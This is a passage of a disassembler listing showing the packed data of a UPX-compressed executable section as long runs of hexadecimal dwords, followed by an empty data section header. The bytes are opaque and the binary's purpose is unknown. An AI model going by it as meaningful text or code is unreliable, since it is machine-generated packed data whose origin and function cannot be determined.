		dd 501906EEh, 0A4204404h, 0F2E24252h, 889A3B7Ah, 0C249143Eh
		dd 8CEE2B23h, 0C27295A8h, 509001Bh, 807A421Dh, 42D70534h
		dd 0E1E7E2E1h, 8280471h, 90365718h, 8098E887h, 0A08E0071h
		dd 0DD0005Bh, 909984C0h, 989D592Fh, 400D0C6Dh, 7F8FE207h
		dd 9020C068h, 59BBC3D7h, 0A4618DC2h, 90C300BBh,	0FF6706Ah
		dd 841C837Fh, 1D57F68Bh, 80D823D7h, 0F4B23ABEh,	83AE2B22h
		dd 0CE0B1063h, 0DE2B5807h, 0F45A3A66h, 6B76FFCBh, 905CFFBAh
		dd 7FE7574Bh, 0ABCC2B72h, 90AEE8FAh, 0CBD55861h, 54FC37Fh
		dd 80BA42F1h, 0C25485D8h, 807E0019h, 0BC8000F3h, 0B5200DDh
		dd 907EC042h, 768FE8B1h, 98F8FF64h, 3FA0085h, 90A6C0D2h
		dd 88BB0059h, 0A4B89DCAh, 1C49003Dh, 0C24C8DE8h, 0FB50011h
		dd 9022C46Eh, 40DF89D5h, 683410FDh, 801E00AAh, 0BCBC9A0h
		dd 80F280EEh, 6D345267h, 8339FFAFh, 90F2E8AEh, 34C0325h
		dd 8F840C75h, 806F077Dh, 902283E3h, 7DC60FCDh, 0B2C00B7h
		dd 68460CE3h, 7FFFFE43h, 0C2028576h, 46D7004Fh,	0B68A19h
		dd 99DC00CAh, 0F4BCF99Dh, 71974004h, 167487Ah, 5F8FDF3Ah
		dd 0C4C3811Ah, 0F5244CE3h, 48255975h, 8F02F900h, 80E2B7E2h
		dd 0F84D6657h, 8F8433BFh, 80A0ABAEh, 0BA095615h, 0B7175FFh
		dd 82B510A3h, 714B0A58h, 7E40E8ECh, 351FFF58h, 80164279h
		dd 0F83085D6h, 45E0F9Eh, 7FC4004Fh, 90ECE88Ch, 0D5705023h
		dd 837DFFF3h, 902EE872h, 68D38FE1h, 83401089h, 37924B1h
		dd 5B27025Fh, 63F6B686h, 0A0218061h, 0A4F6C10Eh, 0A4A02943h
		dd 0DB820C18h, 179EB5Bh, 3BAD0FFEh, 15A7432h, 0EE0BA822h
		dd 10E7418h, 21195956h,	1227468h, 35D4D67Ah, 1C674C7h
		dd 0D82393AEh, 1AA74CCh, 0D8777DD2h, 19E74E0h, 0A54D4606h
		dd 1527406h, 0A579302Ah, 7F36745Ah, 9058C430h, 0F1ED5B8Fh
		dd 0DE11FF86h, 69CCC2E0h, 7F3DFEA2h, 84C603F4h,	75DFE879h
		dd 1508FFF4h, 807A26C4h, 9865B8B9h, 64FEE2CBh, 0E6CA02B0h
		dd 0D8146A36h, 7F092E6Fh, 8824838Eh, 85BAD1DCh,	759BE81Dh
		dd 7A24FFD0h, 3085731Ah, 0B1FD0253h, 2A6210CBh,	0E826273Ch
		dd 7AB6AA99h, 303875A8h, 750BE884h, 814CFF80h, 4DE0069h
		dd 51C57481h, 6B78FEDDh, 3899EBD1h, 860011h, 43CFE250h
		dd 0B9E69568h, 576F00DFh, 77EDDA4Eh, 9021B026h,	8002008Dh
		dd 40790F67h, 76DDE0A0h, 90F9AECEh, 86DF0135h, 0A51D0D79h
		dd 58813E2h, 8078395Dh,	0E65475DFh, 6B1931CAh, 812B66B5h
		dd 68BB66BEh, 7F05FF39h, 9D043E4h, 908CD8CCh, 777BAB43h
		dd 909BB0A8h, 808C0017h, 40E30F11h, 68CABCEFh, 7FB5FF49h
		dd 0C2E89536h, 5E800B9h, 8018393Dh, 8FF6757Ch, 0ABDEEB56h
		dd 7705AB91h, 9089B0BEh, 809A0025h, 0AA3741Fh, 9057AA7Ch
		dd 8BB8C1E3h, 0C5C90DABh, 789CABD1h, 2A938A0Bh,	410010B2h
		dd 0E7EF1B95h, 2BD2893Bh, 2BD8C07Ah, 0E41012D8h, 2B920592h
		dd 0B9D6858Dh, 0D86200E1h, 2B48E01Ah, 0CBFC606h, 89241088h
		dd 7CBE2572h, 389E2068h, 2B840086h, 84A619BCh, 74BFE819h
		dd 842DFFD4h, 886AC1C7h, 40FD0599h, 83B5AB8Fh, 0EAE29063h
		dd 70DA58A6h, 0E3FF54h,	90218C14h, 7A70067Bh, 4F5736Dh
		dd 7E07749Dh, 7E6D74F3h, 7E5F74E9h, 7E5B74C7h, 7E60743Dh
		dd 7E59742Bh, 304F7401h, 30E1EB4Ch, 5BA4AA18h, 754EC462h
		dd 7858C098h, 7711BCB6h, 9085B0C2h, 80860031h, 0F516B01Bh
		dd 0D7E0407h, 25EEFEA0h, 805E3971h, 7CB8ABA5h, 302575A8h
		dd 7F438097h, 0E21EAAC1h, 771FFF94h, 90F3B0D0h,	80F4003Fh
		dd 0E6266629h, 348A7522h, 30D966D4h, 2AD90AFFh,	404610E8h
		dd 689A035Bh, 7FE5FF98h, 5F3883Fh, 80FE39C9h, 80D88063h
		dd 6720238h, 0B904A5BDh, 2BF00031h, 0F585FC8Bh,	6AB0F2h
		dd 2A14FF90h, 3C838D0Ah, 6828108Ah, 7FEDFF90h, 0B94C8570h
		dd 80E60061h, 83A4001Bh, 771060F5h, 909DB0AAh, 808E0019h
		dd 387F7413h, 808E8BB8h, 5BB4F7Ch, 80263971h, 822000A8h
		dd 80FA849Ah, 6844007Fh, 3D57ABC3h, 80D8429Bh, 7F4CCCD5h
		dd 2A74B0D8h, 4C3B89BAh, 687010B9h, 7FA5FE58h, 0B9F48538h
		dd 802D00A9h, 9A6C00A3h, 0B9B2857Ah, 80EC0067h,	8AA20261h
		dd 7F3E2EA3h, 7E31E8CAh, 6924FFE0h, 5F5ABA3h, 8078423Bh
		dd 4879CF56h, 0C2ECBD4Eh, 0C8AF00A1h, 0E477B867h, 0B351367Ah
		dd 774F66AFh, 90F7B0DCh, 80B80343h, 76B1742Dh, 90B5AE92h
		dd 8A028001h, 7F9DAA03h, 7E11E82Ah, 0E78CFF40h,	2B3889CDh
		dd 2B6EC0A0h, 0B942858Ah, 80DF0077h, 0DAB20051h, 0B91E85CDh
		dd 0F51A0035h, 7D05E805h, 0B286FF06h, 68A7FF1Dh, 7FBDFDCFh
		dd 94C42007h, 63E9FF5Ah, 7FB866B2h, 11416660h, 30418BF4h
		dd 77BE1070h, 836AF7E1h
		dd 0F592001Dh, 7CA0E813h, 9FD6FF0Eh, 7FAAEE33h,	7F82663Ah
		dd 118F66BAh, 0BC18B32h, 90BAD006h, 92A2B6Dh, 53BFC1Fh
		dd 80A639F1h, 80A00028h, 57D3861h, 8064394Fh, 8C5E00E9h
		dd 5BF2CA7h, 8022390Dh,	821C00A7h, 42EE0AE4h, 680FFF86h
		dd 7F25FD2Eh, 0B97485B8h, 80AE0029h, 8AEC0823h,	7F7FACE5h
		dd 7D0DE808h, 5A1FF1Eh,	8050397Bh, 802A00B1h, 16FC17EBh
		dd 3801FF74h, 4816C05Ah, 40DAB8F6h, 38170433h, 0E74DF844h
		dd 7DEFE8B0h, 58DFFFAh,	8074395Fh, 804E00D1h, 3DB872B6h
		dd 80323903h, 68657497h, 7F09FDE4h, 0A9F829D3h,	2A6F0A9Ch
		dd 40B41006h, 259403CDh, 809839B9h, 7D39E856h, 31ECFF18h
		dd 2EC38A7Bh, 2A301082h, 7FE73C4Dh, 5B20F70h, 80FE39D3h
		dd 841804EEh, 8822C10Dh, 2BCA8D87h, 0D73C0191h,	7F7D20E3h
		dd 0A456290Ah, 7BB6B8B9h, 30BBF790h, 9028108Ah,	0F412009Dh
		dd 2AB5B080h, 7A93B817h, 2BB6E159h, 7F46FCADh, 2A4CB0D0h
		dd 925C02Ah, 903AB4BEh,	30E7F7EDh, 0A04C10EEh, 0F53600C1h
		dd 5EC85790h, 77F5FF69h, 90CDB0FAh, 80DE0069h, 9D074D3h
		dd 90F0E080h, 7DA5E827h, 426EFFEEh, 308FFF07h, 3AB2AA26h
		dd 0DABBFF33h, 0D89ECF32h, 512CA88h, 80123925h,	2A104AFEh
		dd 7F2AA489h, 17866B4h,	302FF7F5h, 0C0941026h, 0F47E0009h
		dd 0A8AC80F0h, 0B9FAA5D7h, 2B5A00D7h, 0C29EBD38h, 77BB008Bh
		dd 90C3B000h, 80E4006Fh, 30C77519h, 283D0213h, 2AA21014h
		dd 0B93C85E0h, 80F60011h, 8B1500EBh, 540B865h, 80243916h
		dd 0E623EB03h, 7710312Bh, 90CBB0F8h, 80DD0067h,	30C47451h
		dd 29150A12h, 409A101Ch, 258E03EBh, 807E3950h, 383EAB85h
		dd 5B5F04Ch, 803C3907h,	801602A1h, 48B402FEh, 0B943A57Fh
		dd 2BB2004Fh, 0C26ABDC0h, 3C100023h, 2B920034h,	0B9CC85F0h
		dd 806E00E1h, 0F12400DBh, 7FC1FC2Dh, 30A1F750h,	800E10A0h
		dd 0F5F80087h, 8A5AB066h, 90F5AAD2h, 0CD5DAA41h, 0B91085DCh
		dd 888A0005h, 910100FFh, 60DDB88Fh, 0B9E2A5D9h,	2B5400ADh
		dd 6BB6C094h, 0A9BE6684h, 2A550A63h, 40DA105Ch,	25CE03ABh
		dd 80BE3993h, 56FAB45h,	809239BDh, 806C10F7h, 40D7B887h
		dd 44C003BFh, 2A8F0ABDh, 0E61410A6h, 5480F22h, 80F839DDh
		dd 7B59E8F6h, 54BFFB8h,	80B63981h, 0C090001Bh, 0D0CA0E71h
		dd 0B9CC85EDh, 68E400C9h, 7FC7FBB2h, 9DC4F20h, 904EBC1Ah
		dd 3073F781h, 80E01052h, 0F44A0055h, 2A5CB028h,	0C27E85A2h
		dd 47A30003h, 2B76E87Eh, 0C2BCBD6Eh, 85AD00C1h,	7FCBB253h
		dd 7B21E85Ah, 5F3FF70h,	80FE39C9h, 80D90063h, 0C0720B38h
		dd 0B904853Dh, 6B3C0031h, 3386604h, 28CF0A35h, 0E65410E6h
		dd 2A3FB062h, 0B9988544h, 8012008Dh, 0AF890085h, 0B9568586h
		dd 80D0004Bh, 9ACF0041h, 5AEC09Fh, 809E39B3h, 0B9D7A589h
		dd 60A300FDh, 0E6F466C7h, 8086AB40h, 0C0900840h, 0B9A0859Fh
		dd 775E006Fh, 90E7B0ECh, 88C80053h, 0E6A2753Dh,	8A74839Fh
		dd 90BFA9B4h, 30DB66FBh, 3052EBE4h, 29C10A87h, 2A2E1080h
		dd 7FE2B04Bh, 3087F772h, 80EC104Eh, 31D61061h, 0E6E5753Eh
		dd 8A52838Dh, 90ADA9BAh, 0B3D56609h, 3D41AA33h,	80424261h
		dd 0B98C8530h, 802600A1h, 9F6500BBh, 9B117734h,	98EDB809h
		dd 0B967A553h, 64780053h, 29070A2Eh, 0E68C102Eh, 3CCB29AAh
		dd 0A6010A9h, 3CEF8A14h, 0E63410FDh, 8246B002h,	9031A816h
		dd 0CA1AAA7Dh, 7723FF9Dh, 90FFB0D4h, 80B0033Bh,	77B67427h
		dd 90BDB08Ah, 806E00F9h, 777875EBh, 907BB048h, 802C00B7h
		dd 681C75A7h, 7FFFF924h, 7F101C9Dh, 7905E8A0h, 9256FFB6h
		dd 7757FFC9h, 90ABB098h, 807C0007h, 306E74E1h, 7EB8AA12h
		dd 77C5FF3Ch, 901DB02Ah, 0C00E0099h, 30D27483h,	28672A6Ah
		dd 41CC106Eh, 9BB1AA1h,	82A02423h, 90B3A8B0h, 8390C0FFh
		dd 2B5AC469h, 7FB1D03Bh, 2A53B042h, 7FE5C84Fh, 7FBE666Eh
		dd 28550A9Bh, 0E6DA105Ch, 7973E8E4h, 559FFC6h, 0D3D33993h
		dd 5Eh dup(0D3D3D3D3h),	0C7D3D3h, 8BB9C2B7h, 0C1B0906Ch
		dd 0C0B68463h, 0C86C8511h, 8949CA6Dh, 10012C4Bh, 0C6783B8h
		dd 117801Ah, 8AE9D18Ch,	30147F90h, 10EC2EF5h, 309F314Ah
		dd 10902F81h, 0FEB3EA1Eh, 1405D8C1h, 0FF81F01Ah, 0F830523h
		dd 0E2E84252h, 39951581h, 0E5E4808Ah, 39490573h, 0E3807Eh
		dd 22B98258h, 390705B5h, 0A2803Ch, 0CFE8016h, 39C52581h
		dd 0FFA080FAh, 0AA2772Bh, 39830D3Fh, 1D80B8h, 66F9092h
		dd 59F1807Ch, 0DB860Eh,	222DD850h, 8A507FDCh, 10A028A1h
		dd 2A07060Eh, 7DB950h, 39FF056Ah, 0E0A380DCh, 399B0541h
		dd 1D80B0h, 98A808Ah, 39433DF4h, 74D2804Eh, 0B038778Dh
		dd 0A7900Bh, 7481801Ch,	0A8C6001Dh, 56590C9h, 0BDCF30AEh
		dd 29B96Dh, 8084F4ABh, 10342A25h, 9E838582h, 3951059Bh
		dd 0CB8046h, 9C18000h, 39373DAAh, 778B8004h, 0F0D60377h
		dd 5D90AAh, 0FFB5F23Ah,	0FD726843h, 71F37F59h, 8B058092h
		dd 10AD28E7h, 0AC448364h, 0E8C3900Ch, 0FF527C63h, 2C6042Dh
		dd 0B50A800Ch, 7BC252h,	369DE6Bh, 0FD636814h, 82267F4Bh
		dd 1382A5h, 60D9CA09h, 8B078072h, 387D2A2h, 7AB8943Ch
		dd 0B0207720h, 8F9023h,	75598004h, 0F4DE09FAh, 8D4D909Ah
		dd 100E3C77h, 69AC0BACh, 0F30B9086h, 6F4CD724h,	8DDF8060h
		dd 10D980E1h, 0B116733Eh, 0F39F6328h, 0B00277B6h, 7190C5h
		dd 0F7B80E6h, 452E54h, 285C7FBAh, 0FFF41D4Ch, 0E4960B71h
		dd 85ED903Ah, 98538FB0h, 8BC1804Ch, 10E92483h, 10DF0B20h
		dd 605BCA8Bh, 2B8980F4h, 2208894h, 723E49FBh, 69AABBA6h
		dd 8B11908Ch, 10EBE90Bh, 8BB3F270h, 0A54CA466h,	0A9902Dh
		dd 6904032Eh, 8D8018h, 17FFA89h, 0F76288A6h, 85C07751h
		dd 25C278h, 39AF055Dh, 498084h,	287807Eh, 72DE989Fh, 89F7A95Eh
		dd 10F37089h, 28E80B26h, 8572B011h, 7FB94Ah, 5980A4h, 18B482BAh
		dd 0FC0668E9h, 0EB4E7F5Dh, 28728380h, 51E7F25Dh, 5F717336h
		dd 0BC0A0D13h, 89A9900Dh, 10D174A3h, 5FD97308h,	92568FACh
		dd 1660751h, 950180C6h,	35B91Eh, 0D26686EFh, 12CDD6FCh
		dd 0E7B30908h, 0FF1471B0h, 4A3CDABDh, 10EB8320h, 393B05E1h
		dd 758010h, 41D2A0EAh, 895AF5D1h, 10717033h, 699883A8h
		dd 83079082h, 0F1E9DBh,	43F08066h, 54420978h, 0F7AF803Ah
		dd 10A6ECA1h, 83810Eh, 0C76AF4F8h, 0A0F788A1h, 85B6206Ch
		dd 3BB906h, 5580A0h, 0E8AD87FEh, 0FF16772Fh, 0F05E0B04h
		dd 0E3BD900Ah, 28EC0937h, 8D1A8DF7h, 6BC2EAh, 38E8213h
		dd 0F767CB51h, 10003041h, 2383AEh, 8B19F498h, 10B57407h
		dd 0DC6C836Ch, 3CB9014h, 10F758C5h, 8B97812Ah, 8502905Eh
		dd 63C256h, 7355CAD1h, 80D09D1h, 8321C2BDh, 8B1BD8C5h
		dd 10473015h, 2953E87Ah, 42D88064h, 43C2D946h, 0AE380A68h
		dd 0F797901Bh, 10B83089h, 6B80F6h, 353F4C0h, 102FE947h
		dd 0F72936B4h, 102A301Bh, 2FD8088h, 0FEF3F572h,	0B054779Ah
		dd 0BB907Fh, 75A58430h,	0AF3A0A1Ch, 0F779903Dh,	105A306Bh
		dd 0D80D8h, 8A3CF5C2h, 0AAE382ABh, 0F7E95694h, 77F896Bh
		dd 2754258h, 333E6282h,	2238E4ECh, 589F0F4Ch, 420F3D91h
		dd 0F7180ECh, 0FFA13F62h, 0A4F07F2Fh, 0FF2F90F8h, 10275E31h
		dd 0A0B67F8Eh
		dd 0FFED903Ah, 10E9D2F7h, 8C4C0D4Ch, 8DAB9074h,	10D714B5h
		dd 6A2DD10Ah, 88DC7FF4h, 0FF53909Ch, 1003525Dh,	88927FB2h
		dd 0FF1190DEh, 10C5D213h, 74500D70h, 0FFCF901Bh, 10FB04F1h
		dd 955CD62Eh, 9DBED6h, 42FF2581h, 0C36180FCh, 4B803Eh
		dd 15FDDC0h, 38A46D2Bh,	0F0518084h, 78764171h, 85DD907Dh
		dd 0C8444392h, 0C1BE70C3h, 108EF8A3h, 10B84310h, 756FAAFAh
		dd 7CD8E6F8h, 712F8CEAh, 0E84D93CDh, 0FFE87F66h, 0B5E985F9h
		dd 0E8147F8Ch, 0FF2A7FB2h, 2D40AE2Bh, 129DD64Ch, 93A5A6h
		dd 0A595E008h, 75987F0Dh, 24150BE5h, 748E0DF6h,	8B2590F1h
		dd 816988CAh, 73FB86BEh, 8BD64Bh, 8BCD7F58h, 52B7EA86h
		dd 1E347F7Ch, 838B9029h, 3EF488C4h, 5C60BFB6h, 0C6CA83A1h
		dd 0FA5168BAh, 7FF57F57h, 61F87F6Dh, 8538BFh, 0B1308066h
		dd 0C5AFE8h, 0B2683Ah, 205B8024h, 0B3380Eh, 108580F8h
		dd 0C25780E2h, 85F980E8h, 0E82B80B7h, 1580A3h, 8DFFAC48h
		dd 0CDE5A420h, 2B0370h,	0E8DD9934h, 0A78032h, 30B5D497h
		dd 81610B5Bh, 105C121Dh, 0E0FC68DAh, 0C2587F3Bh, 32280AAh
		dd 50A829Eh, 56B4D951h,	15FFFDAAh, 1001194h, 9068FF8Bh
		dd 8BED01C3h, 93D0FFC4h, 59E85Bh, 648B0000h, 0EBB80824h
		dd 0EB000004h, 0A16764FAh, 408B0018h, 40B60F30h, 0F88302h
		dd 0E83C75h, 5D000000h,	2334ED81h, 858B0040h, 40237Bh
		dd 23838503h, 0F08B0040h, 237F858Bh, 85030040h,	402383h
		dd 33FE8B50h, 8532ACC9h, 40238Bh, 8D3B41AAh, 402387h, 2BC3EF7Ch
		dd 30FF64C0h, 0B8208964h, 12345678h, 60000387h,	0D3B00000h
		dd 12h dup(0D3D3D3D3h),	8088D3D3h, 8082002Dh, 59B6F83h
		dd 80463951h, 4000CBh, 47A11FC1h, 0C2F48D14h, 41D50099h
		dd 681441FAh, 7F2DF9A2h, 7F4588AFh, 2A65B0CEh, 7F6980F3h
		dd 0BBD8BFAh, 9026B462h, 98F2BD9h, 0D888FC82h, 0B98A85A7h
		dd 68A60087h, 7F09F9E4h, 0B950859Ch, 80CA0045h,	8CC000BFh
		dd 43CEB84Fh, 0B9208519h, 8A9900EDh, 60A3B881h,	0B9EEA5DBh
		dd 2B5600ABh, 7FE33C4Dh, 3081F770h, 83EE1040h, 0F4DA0063h
		dd 0B0D8B12h, 90EECCB2h, 95E2B21h, 49B3FC43h, 0B9DA8502h
		dd 805400CFh, 8E4B01C9h, 0B980853Eh, 8898008Dh,	830580C7h
		dd 846BF802h, 90F44496h, 885AC145h, 630F8B9Fh, 0B136661Fh
		dd 0E6D366C3h, 0E8E28F55h, 804C006Fh, 2B50E1C3h, 49A5ABF3h
		dd 386C06E0h, 2B92C04Eh, 6874C3D9h, 7F37F882h, 0B90E85B0h
		dd 56B0037h, 809639A1h,	0A07000FBh, 0AB0D0690h,	99AF5837h
		dd 0AB065332h, 0BC82B5Bh, 9040D400h, 34790177h,	81D61023h
		dd 0A4848B72h, 0E9178931h, 0B94100Fh, 903CB8B4h, 34ED2BF3h
		dd 7752109Fh, 9005B042h, 802640B1h, 7712749Bh, 8438AB5Dh
		dd 3B3566Fh, 908CF0E4h,	4B70043h, 80A201F4h, 808C0DFFh
		dd 0D2334B01h, 0B32C45A5h, 0CC0E2EE7h, 15CB00F3h, 800E3E37h
		dd 0C30C851Ah, 0BA1006Dh, 58DF3C3Fh, 0BEE73AEh,	65583478h
		dd 0B65FFD1h, 90C6E49Ah, 0C26D5BF9h, 88DD89EFh,	8342108Eh
		dd 5A508F5h, 800643ADh,	7F287300h, 80EA80C6h, 746AE85Fh
		dd 3D35FFB6h, 80B842D7h, 7420E84Bh, 15F7FFF8h, 80764215h
		dd 83584A50h, 4E110C8Fh, 8F21E92Ch, 800F6011h, 0DA7C0F83h
		dd 83E2006Ch, 908EE8E2h, 24030341h, 2CA01069h, 585E829h
		dd 8074005Dh, 0AB5A4664h, 900AA456h, 0D03403BDh, 7FE86F4Fh
		dd 64BB836Eh, 80F01039h, 0C7E10B10h, 9B470F43h,	6BAE0038h
		dd 640D392Fh, 8F82104Fh, 806D0D72h, 24D303E1h, 0E6401089h
		dd 0A5D53834h, 80E88590h, 0C0750089h, 0B4AB2B71h, 74E0E80Dh
		dd 3D85FFB8h, 80B642D5h, 80748514h, 5790005h, 80744207h
		dd 0C2EA85DAh, 80B300D3h, 8F2E4786h, 800CCD15h,	88B13B81h
		dd 80248364h, 40490055h, 94F3033Dh, 0C23A852Ah,	0D0DA0003h
		dd 0C376B502h, 15A300F7h, 80563E8Fh, 8FF085E1h,	801AB720h
		dd 8098E98Fh, 7FD20079h, 804C856Ch, 0BE42004Dh,	0B290F22h
		dd 0B960021h, 0C3AB014Dh, 418250C1h, 0B9ABFF2Ch, 907CE474h
		dd 835F75B3h, 9050E818h, 24790387h, 9E61033h, 909310DEh
		dd 0BBBA8B45h, 90E708AAh, 0BB867219h, 903B0C86h, 0BD0B72EDh
		dd 0F04C00D7h, 9FDE37B3h, 0D2000ABh, 4181FCDBh,	0C2F70254h
		dd 905B3B79h, 0F5C81010h, 90768331h, 0C41331D8h, 6BE71C35h
		dd 5FFC3E0h, 804A4221h,	24F18BAFh, 682E10FBh, 7FE7F4FCh
		dd 8002A9ECh, 8E998077h, 0F2DA474Ah, 88873B42h,	7F96823Ah
		dd 8FDDFFE0h, 7F80B28Ch, 0A4548B0Ch, 0A9E2A75Ch, 7FC300C7h
		dd 0C2CDFF0Eh, 0E0344A1Ah, 0CE1A0085h, 8C6FC05Ch, 704B877Dh
		dd 9B81001h, 90E0ECA8h,	34358D17h, 83760028h, 9022A46Eh
		dd 25EF66D5h, 83F22BF1h, 0C23514EBh, 7B4EC69Fh,	0D473C795h
		dd 85DC0067h, 9C60051h,	0DEEFFC7Dh, 156557E6h, 80943EA5h
		dd 8F71E838h, 80591A66h, 0EA1650CDh, 7FD36A9Fh,	90290A34h
		dd 0DFC0858Bh, 81EF887Ah, 0D83C005Fh, 6841FFADh, 80A80022h
		dd 0C6E6654Eh, 0D3196C6Eh, 0F2136394h, 0C12974B2h, 0F88FFFC5h
		dd 7F2410EDh, 90305E0Ch, 7D8983h, 68E2102Fh, 80CC004Eh
		dd 0E1E26512h, 0F7EF6540h, 0F3F8657Bh, 0D0046997h, 0E928699Bh
		dd 0E52F65BFh, 0A9DA57BDh, 68E3FF4Fh, 80060082h, 0E5A26528h
		dd 0F2B57416h, 0E9B6502Ah, 0E5C2694Fh, 0D7986544h, 7F6A0BE5h
		dd 807EE808h, 0E50500E1h, 0EB236189h, 0F27A70C0h, 0EC7D76F6h
		dd 809B67ECh, 6706E824h, 983AFFA2h, 0D3BC0047h,	0E1CE4354h
		dd 0CEF56775h, 0E613746Ah, 0E9165096h, 0E52269AFh, 0D73865A4h
		dd 7FC5CB45h, 0D585068h, 90CBBC04h, 0D0846A6Bh,	7F9D013Fh
		dd 908B16AAh, 0A4A28929h, 0BEDA95ECh, 405800EDh, 0C128BD6Ah
		dd 0D01600C1h, 3C85FFEBh, 0E81A1098h, 8000008Eh, 0D7EF6A2Dh
		dd 0C258959Ch, 0EA96005Dh, 15535733h, 808642A1h, 7F94C488h
		dd 90287840h, 0EC1FFDFh, 0DF3E10F7h, 0F49D8D70h, 0D61210DCh
		dd 0BE6E9578h, 78650061h, 3B540FA4h, 9BA0045h, 90E684AAh
		dd 0D68E6A19h, 0BEB695FCh, 40E700FDh, 80E884D8h, 401D00C1h
		dd 834A50FBh, 0E80B6AC5h, 40F4007Fh, 0EE4BFF3Fh, 3C8106Dh
		dd 4BDFFC5h, 809C0620h,	0C20E8598h, 0DFD00EBh, 804A4269h
		dd 0C2D09542h, 0D27F00A9h, 7F4800C9h, 903C9A18h, 7F148377h
		dd 8503846Eh, 80AA004Bh, 0C222B5CAh, 156B000Fh,	806E3E9Fh
		dd 8F97F870h, 8057BE59h, 1CB989C7h, 0B32610F3h,	0D1D30352h
		dd 849051D5h, 851FF3Eh,	7FCE101Bh, 908672D6h, 8F62852Dh
		dd 80899A93h, 9BF3301h,	9022A06Eh, 0D11B51D5h, 8F341FD7h
		dd 15E150A9h, 53CBED29h, 0D72E132Bh, 530FD6E7h,	11B1560Bh
		dd 0EBA0D3F8h, 5349A0E1h, 0A46F9857h, 438463AFh, 538BD330h
		dd 5097A63Eh, 43EFBAE1h, 5017E072h, 0A4222499h,	0E3BC5A47h
		dd 0EB07C3CEh, 536DFA21h, 5047986Bh, 4351BA4Bh,	507DE0D4h
		dd 0A44424E3h, 0FB065AE9h, 90E9C354h, 55BC6473h, 0DEE830B3h
		dd 0E424CB03h, 8332C7FDh, 7BDEB8CDh, 69E40391h,	3D1AA4A7h
		dd 0D044A73Fh, 21A6DF56h, 6FC658DAh, 508F918Bh,	176CC32Ch
		dd 8A382C3Ch, 0D6EE1261h, 53339134h, 775D5875h,	0DCD7E08Ch
		dd 537D6B68h, 9CC010F0h, 0EEDCD835h, 53AF9250h,	605A58CEh
		dd 32AF7FD1h, 29C5D514h, 73EBD13Bh, 2771EFF0h, 2715EF4Ch
		dd 2601EF53h, 0D8A6307Ch
		dd 0B30EEE3h, 5837D38Dh, 1EA80EBh, 6032DC3Ch, 0D8622CF5h
		dd 1ABCEE13h, 0D7FE9030h, 0AC202C62h, 666846Fh,	48B7DCF6h
		dd 6EE62C79h, 615490BBh, 0AC5D57F5h, 3662C3Fh, 5CEE877Dh
		dd 0AC70D6B0h, 0BB4EE0FDh, 0AC1C2D45h, 0A921C303h, 0BB282CA0h
		dd 0ACC22D8Bh, 0ADE757BFh, 81222C61h, 537FC50Ch, 0AC263BF2h
		dd 53BB2C27h, 0EB9D326h, 67B83E8Dh, 0A904D30Ah,	37FBD363h
		dd 0E64AE1B1h, 533F91F0h, 35175AC6h, 94EED09h, 508A5699h
		dd 0DFCD3FCh, 3583D0F6h, 16FBE851h, 50625631h, 1068D304h
		dd 53C5D304h, 9576DC78h, 0A5D9D345h, 5C258FEFh,	530E6F3Eh
		dd 5B585880h, 0F3C173D3h, 0FDCBDC54h, 6E55D3C1h, 7383F308h
		dd 502A5739h, 0D81CD31Ch, 53FDD3A2h, 0BB9AC593h, 0AC2E3C0Ah
		dd 11D75EA7h, 9D06D3A2h, 5353B21Bh, 533DB265h, 0ACB94824h
		dd 292FDC25h, 0D0BBD323h, 43C33FABh, 1BEh dup(0)
		dd 7FFDD000h, 7C91056Dh, 0FFFFFFFFh, 133Fh dup(0)
UPX2		ends

; Section 4. (virtual address 00012000)
; Virtual size			: 00001000 (   4096.)
; Section size in file		: 00000200 (	512.)
; Offset to raw	data for section: 00012000
; Flags	C0000040: Data Readable	Writable
; Alignment	: default
; ===========================================================================

; Segment type:	Pure data
; Segment permissions: Read/Write
_idata2		segment	para public 'DATA' use32
		assume cs:_idata2
		;org 31432000h
		dd 80h dup(0)
		align 1000h
_idata2		ends


		end start